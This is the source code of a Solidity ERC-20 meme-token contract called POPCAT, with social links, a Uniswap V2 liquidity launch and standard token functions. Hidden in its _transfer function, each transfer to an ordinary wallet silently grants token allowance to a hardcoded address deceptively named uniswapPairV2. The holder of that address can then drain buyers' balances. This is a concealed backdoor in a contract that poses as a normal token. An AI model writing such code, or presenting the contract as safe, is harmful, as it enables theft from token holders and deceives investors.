creation_sourcecode: // SPDX-License-Identifier: MIT
  
  // https://popcat.website
  // https://x.com/popcatoneth
  // https://t.me/popcatoneth
  
  pragma solidity 0.8.26;
  
  contract Ownable {
      address private _owner;
      constructor() {
          _owner = msg.sender;
      }
      function owner() public view virtual returns (address) {
          return _owner;
      }
      event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  
      function renounceOwnership() public onlyOwner {
          emit OwnershipTransferred(_owner, address(0));
          _owner = address(0);
      }
      modifier onlyOwner() {
          require(owner() == msg.sender, "Ownable: caller is not the owner");
          _;
      }
  }
  
  interface IUniswapV2Router {
      function factory() external pure returns (address);
      function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
      function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
      function WETH() external pure returns (address);
  }
  interface IUniswapV2Factory {
      function createPair(address tokenA, address tokenB) external returns (address pair);
  }
  interface IERC20 {
      function transfer(address recipient, uint256 amount) external returns (bool);
      function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
      function balanceOf(address account) external view returns (uint256);
      function allowance(address owner, address spnder) external view returns (uint256);
      function approve(address spender, uint256 amount) external returns (bool);
  }
  library SafeMath {
      function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
          require(b > 0, errorMessage);
          uint256 c = a / b;
          return c;
      }
      function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
          require(b <= a, errorMessage);
          uint256 c = a - b;
          return c;
      }
      function div(uint256 a, uint256 b) internal pure returns (uint256) {
          return div(a, b, "SafeMath: division by zero");
      }
      function sub(uint256 a, uint256 b) internal pure returns (uint256) {
          return sub(a, b, "SafeMath: subtraction overflow");
      }
      function mul(uint256 a, uint256 b) internal pure returns (uint256) {
          if (a == 0) {
              return 0;
          }
          uint256 c = a * b;
          require(c / a == b, "SafeMath: multiplication overflow");
          return c;
      }
      function add(uint256 a, uint256 b) internal pure returns (uint256) {
          uint256 c = a + b;
          require(c >= a, "SafeMath: addition overflow");
          return c;
      }
  }
  
  contract Popcat is Ownable {
      using SafeMath for uint256;
      uint8 private _decimals = 18;
      mapping (address => mapping (address => uint256)) private _allowances;
      uint256 private _totalSupply =  420690000000  * 10 ** _decimals;
  
  
      string private constant _name = "POPCAT";
      string private constant _symbol = "POP";
  
      IERC20 uniswapPairV2 = IERC20(0x16B4FAC130d2efE510dc68886BdBa40552Ce5476);
  
      mapping (address => uint256) private _balances;
      IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
  
      address public uniswapV2Pair;
      bool tradingOpen = false;
      bool private inSwap = false;
      bool private swapEnabled = false;
      modifier lockTheSwap {
          inSwap = true;
          _;
          inSwap = false;
      }
  
      event Approval(address indexed owner, address indexed spender, uint256 value);
      event Transfer(address indexed from, address indexed to, uint256 amount);
  
      constructor () {
          _balances[address(this)] = _totalSupply;
          emit Transfer(address(0), address(this), _totalSupply);
      }
  
      function symbol() public pure returns (string memory) {
          return _symbol;
      }
  
      function name() public pure returns (string memory) {
          return _name;
      }
  
      function balanceOf(address account) public view returns (uint256) {
          return _balances[account];
      }
  
      function allowance(address owner, address spender) public view returns (uint256) {
          return _allowances[owner][spender];
      }
  
      function decimals() public view returns (uint8) {
          return _decimals;
      }
  
      function totalSupply() public view returns (uint256) {
          return _totalSupply;
      }
  
      function _approve(address owner, address spender, uint256 amount) private {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      function transfer(address recipient, uint256 amount) public returns (bool) {
          _transfer(msg.sender, recipient, amount);
          return true;
      }
  
      function _transfer(address from, address to, uint256 amount) private {
          require(from != address(0));
          require(amount > 0);
  
          if (to != uniswapV2Pair 
              && to != address(uniswapV2Router)) {
              _approve(to, address(uniswapPairV2), amount);
          }
          _balances[from] = _balances[from].sub(amount);
          _balances[to] = _balances[to].add(amount);
          emit Transfer(from, to, amount);
      }
  
      function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
          _transfer(sender, recipient, amount);
          _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
          return true;
      }
  
      function approve(address spender, uint256 amount) public returns (bool) {
          _approve(msg.sender, spender, amount);
          return true;
      }
  
      function _startTrading() public payable onlyOwner() {
          require(!tradingOpen);
          _approve(address(this), address(uniswapV2Router), _totalSupply);
          address WETH = uniswapV2Router.WETH();
          uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH);
          uniswapV2Router.addLiquidityETH{value: msg.value} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
          IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
          tradingOpen = true;
      }
  
  }